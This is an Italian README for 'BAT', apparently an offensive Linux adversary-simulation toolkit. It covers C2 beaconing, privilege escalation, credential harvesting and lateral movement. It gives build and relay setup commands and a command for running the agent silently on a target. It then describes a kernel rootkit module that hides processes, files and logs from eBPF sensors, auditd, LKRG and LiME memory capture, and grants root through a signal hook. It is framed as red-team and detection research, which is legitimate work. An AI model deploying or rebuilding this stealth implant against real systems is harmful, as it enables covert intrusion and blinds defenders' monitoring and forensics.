
Piattaforma di simulazione avversaria Linux a spettro completo con stealth a livello di kernel, beaconing C2, escalation dei privilegi, raccolta di credenziali, movimento laterale e distruzione di artefatti. Progettata per operazioni red team e ricerca sul rilevamento.
BAT è un modello di minaccia avversario realistico e in evoluzione per Linux e Windows. Non è un framework C2 e non è un rootkit. È una piattaforma completa di simulazione di minacce che integra comunicazione C2, moduli rootkit stealth a livello di kernel, evasione nello spazio utente, escalation dei privilegi, persistenza, iniezione di processi, raccolta di credenziali, esfiltrazione e movimento laterale in un unico avversario coeso. L'obiettivo progettuale è essere la minaccia Linux più sofisticata e realistica realizzabile nel 2026, indipendentemente da ciò che qualsiasi sistema di rilevamento cattura attualmente.
È il lato avversario di una coppia di ricerca. Il framework Aura si evolve per rilevare Bat. Bat si evolve per eludere Aura. L'avversario non è mai vincolato dal rilevatore.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Configura```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Genera un segreto: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
I file binari finiscono in `bin/`.
### 4. Avvia il relay```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Distribuisci un agente sul target:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent appears in bat-server as <agentID>@<hostname> entro un intervallo di beacon (predefinito 30s).
Il livello stealth del kernel (bat-stealth.ko, sorgente in kperf-qos/) è costruito direttamente sopra Singularity, un framework avanzato di ricerca sui rootkit del kernel. Quattro moduli principali sono stati portati e adattati:
bpf_hook: Intercetta bpf(2) e tutte le primitive di comunicazione eBPF. Qualsiasi sensore eBPF riceve zero telemetria per i PID nascosti. Adattato: ARCH_SYS("bpf") sostituisce il __x64_sys_bpf (solo x86); __ia32_sys_bpf rimosso per ARM64; HIDDEN_PORT sostituito da un globale configurabile via sysfs.
hiding_fs: Occultamento completo del filesystem: filtro di getdents64/getdents, regolazione di nlink per stat/statx/newfstatat, blocco di /proc/<pid> in openat/access/faccessat, blocco di chdir e readlink. Unione di cinque moduli di Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Adattato: le macro REGS_ARGn sostituiscono l'accesso diretto ai registri; should_hide_path() estesa per i bat_hidden_paths[] configurati a runtime.
hide_module: Rimuove bat-stealth.ko da tutte le liste dei moduli del kernel. Esteso: Singularity salva già list.prev; questa versione salva sia list.prev che list.next e li avvelena entrambi per bloccare l'attraversamento in entrambe le direzioni. Aggiunta module_unhide() per una rimozione reversibile, richiesta da K-99 prima che delete_module(2) possa individuare il modulo per nome.
lkrg_bypass: Sopprime l'applicazione di LKRG per i processi nascosti: aggancia la consegna dei segnali per bloccare SIGKILL per i task nascosti, aggancia vprintk_emit per eliminare i messaggi di log di LKRG, disabilita la validazione UMH durante l'esecuzione dell'agente. Portato direttamente senza modifiche architetturali.
I seguenti moduli sono stati sviluppati indipendentemente:
become_root: hook del segnale 59 che chiama commit_creds(prepare_kernel_cred(NULL)) per concedere uid=0 (K-03)selfdefense: blocca l'acquisizione di memoria LiME, nasconde le voci di kallsyms, blocca i kprobe sui simboli dell'agente, ri-nasconde il modulo a ogni tentativo di enumerazioneaudit: sopprime gli eventi auditd per i PID nascostisysrq_hook: intercetta SysRq-T per escludere i processi nascosti dai dump dei tasktaskstats_hook: filtra le risposte NETLINK taskstats per i PID nascostireset_tainted + clear_taint_dmesg: azzera /proc/sys/kernel/tainted e filtra le righe di dmesg che contengono prove del caricamento del modulohooks_write: intercetta tutti i percorsi di scrittura del kernel (write/splice/sendfile/tee + io_uring_enter/enter2 + compat ia32) per eliminare le voci di log che corrispondono alle stringhe dell'agente prima che raggiungano syslog o journaldpid_manager: tracepoint di fork per mantenere l'insieme dei PID nascosti nei processi figliL'intero stack rende l'agente e tutti i suoi artefatti invisibili a: ps, top, ss, netstat, lsof, l'attraversamento del filesystem sui percorsi nascosti, lsmod, sysfs, kallsyms, auditd, tutti i sensori eBPF, LKRG, LiME e l'analisi forense SysRq.